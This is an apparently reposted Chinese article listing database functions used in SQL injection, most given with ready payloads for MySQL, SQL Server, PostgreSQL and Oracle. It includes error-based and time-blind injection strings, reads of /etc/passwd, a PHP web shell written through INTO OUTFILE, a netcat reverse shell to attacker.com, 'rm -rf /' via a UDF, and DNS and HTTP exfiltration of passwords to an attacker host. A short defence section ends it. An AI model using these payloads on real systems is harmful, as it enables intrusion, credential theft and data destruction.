当前位置: 首页 > news >正文

SQL注入漏洞中会使用到的函数

目录

一、信息获取函数

1. 通用函数

2. 元数据查询(INFORMATION_SCHEMA)

二、字符串操作函数

1. 字符串连接

2. 字符串截取

3. 编码/解码

三、报错注入专用函数

1. MySQL

2. SQL Server

3. PostgreSQL

四、时间盲注函数

1. 通用延迟

2. 计算密集型延迟

五、文件操作函数

1. 文件读取

2. 文件写入

六、系统命令执行函数

1. SQL Server

2. PostgreSQL

3. MySQL(需特殊条件)

七、带外通信(OOB)函数

1. DNS外传数据

2. HTTP请求

八、高级聚合函数

1. 数据聚合

九、JSON/XML操作函数

1. MySQL

2. SQL Server

十、防御规避函数

1. 编码混淆

2. 动态执行

总结与防御建议


以下是SQL注入攻击中常用的数据库函数分类整理,覆盖主流数据库及其高危操作场景:


一、信息获取函数

1. 通用函数
  • DATABASE() 作用:获取当前数据库名称。 示例UNION SELECT DATABASE()

  • USER() / CURRENT_USER() 作用:获取当前数据库用户。

  • VERSION() / @@VERSION 作用:获取数据库版本信息。

2. 元数据查询(INFORMATION_SCHEMA
  • TABLES MySQLSELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() SQL ServerSELECT name FROM sysobjects WHERE xtype='U'

  • COLUMNS OracleSELECT column_name FROM all_tab_columns WHERE table_name='USERS'


二、字符串操作函数

1. 字符串连接
  • CONCAT(str1, str2) 示例CONCAT('user=', USER())

  • ||(Oracle/PostgreSQL) 示例' UNION SELECT 'user: ' || USER() --

2. 字符串截取
  • SUBSTRING(str, start, length) 示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)

  • SUBSTR()(Oracle/PostgreSQL)

  • LEFT(str, length) / RIGHT(str, length)

3. 编码/解码
  • HEX() / UNHEX() 用途:绕过WAF过滤,如SELECT HEX('admin')61646D696E

  • CHAR(ASCII_CODE) 示例CHAR(97)a


三、报错注入专用函数

1. MySQL
  • UPDATEXML() 语法UPDATEXML(XML_doc, XPath, new_value) 示例AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)

  • EXTRACTVALUE() 语法EXTRACTVALUE(XML_doc, XPath) 示例AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))

2. SQL Server
  • CONVERT() 触发类型转换错误CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))

  • ERROR_MESSAGE() 配合TRY-CATCHBEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH

3. PostgreSQL
  • CAST() 示例CAST((SELECT CURRENT_USER) AS INTEGER)


四、时间盲注函数

1. 通用延迟
  • SLEEP(seconds)(MySQL) 示例IF(1=1, SLEEP(5), 0)

  • PG_SLEEP(seconds)(PostgreSQL)

  • WAITFOR DELAY '0:0:5'(SQL Server)

2. 计算密集型延迟
  • BENCHMARK(count, expr)(MySQL) 示例BENCHMARK(1000000, MD5('test'))


五、文件操作函数

1. 文件读取
  • LOAD_FILE()(MySQL) 权限需求FILE权限,且secure_file_priv未限制路径 示例UNION SELECT LOAD_FILE('/etc/passwd')

  • pg_read_file()(PostgreSQL) 示例SELECT pg_read_file('/etc/passwd')

2. 文件写入
  • INTO OUTFILE / INTO DUMPFILE(MySQL) 示例SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'

  • COPY(PostgreSQL) 示例COPY (SELECT 'malicious code') TO '/var/www/shell.php'


六、系统命令执行函数

1. SQL Server
  • xp_cmdshell 示例EXEC xp_cmdshell 'whoami' 防御:需禁用xp_cmdshell组件。

2. PostgreSQL
  • COPY FROM PROGRAM 示例COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'

3. MySQL(需特殊条件)
  • sys_exec()(UDF提权后) 示例SELECT sys_exec('rm -rf /')


七、带外通信(OOB)函数

1. DNS外传数据
  • LOAD_FILE()(MySQL) 示例LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))

  • UTL_HTTP.REQUEST()(Oracle) 示例SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL

2. HTTP请求
  • HTTPURITYPE(Oracle) 示例SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL


八、高级聚合函数

1. 数据聚合
  • GROUP_CONCAT()(MySQL) 示例GROUP_CONCAT(table_name SEPARATOR ',') 用于一次性获取所有表名。

  • STRING_AGG()(SQL Server/PostgreSQL) 用途:合并多行结果为单个字符串。


九、JSON/XML操作函数

1. MySQL
  • JSON_EXTRACT() 绕过技巧SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))

2. SQL Server
  • OPENJSON() 示例SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))


十、防御规避函数

1. 编码混淆
  • TO_BASE64() / FROM_BASE64()(MySQL 5.6+) 示例SELECT FROM_BASE64('YWRtaW4=')admin

  • ASCII() / ORD() 用途:盲注中逐字符转换ASCII值。

2. 动态执行
  • EXEC()(SQL Server) 示例EXEC('SELECT * FROM users')

  • PREPARE / EXECUTE(MySQL) 示例SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;


总结与防御建议

  1. 禁用高危函数:如xp_cmdshellFILE权限等。

  2. 输入过滤:严格校验参数类型,过滤UNIONSLEEP等关键词。

  3. 最小权限原则:数据库账户仅授予必要权限。

  4. 监控异常查询:如频繁出现INFORMATION_SCHEMA访问或LOAD_FILE()调用。

示例攻击链

' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') 
-- 

掌握这些函数的作用机制,可更精准地设计防御策略与检测规则。


相关文章:

  • 2025.04.23【探索工具】| STEMNET:高效数据排序与可视化的新利器
  • 使用Geotools实现将Shp矢量文件加载SLD并合并图例生成-以湖南省周边城市为例
  • 手写深拷贝函数
  • 【C语言-选择排序算法】实现对十个数进行排序
  • ubuntu24设置拼音输入法,解决chrome不能输入中文
  • 排序(C)
  • NLP高频面试题(五十二)——BERT 变体详解
  • Docker Python 官方镜像使用说明(TAG说明)
  • vim的.vimrc配置
  • 前端加密介绍与实战
  • 46. 全排列
  • Mysql之存储过程
  • 多源数据集成技术分析与应用实践探索
  • DeepSeek在物联网设备中的应用:通过轻量化模型实现本地化数据分析
  • 达妙电机CAN通信及实验
  • 努比亚Z70S Ultra 摄影师版将于4月28日发布,首发【光影大师990】传感器
  • GPLT-2025年第十届团体程序设计天梯赛总决赛题解(共计266分)
  • Go全栈_Golang、Gin实战、Gorm实战、Go_Socket、Redis、Elasticsearch、微服务、K8s、RabbitMQ全家桶
  • Laravel 自定义 Artisan 命令行
  • Qt案例 使用QFtpServerLib开源库实现Qt软件搭建FTP服务器,使用QFTP模块访问FTP服务器
  • 俄罗斯戏剧《大师与玛格丽特》来沪,剧长8小时一天内演完
  • 上海楼市明显复苏:一季度房地产开发投资增长5.1%,土地市场重燃战火
  • “仅退款”将成历史?电商平台集中调整售后规则
  • 宁德时代校友红利!副董事长给母校复旦豪捐10亿,曾毓群给交大捐近14亿
  • 主刀完成3万余例手术,81岁神经外科学专家徐启武逝世
  • 赵志丹任中国地质大学(北京)校长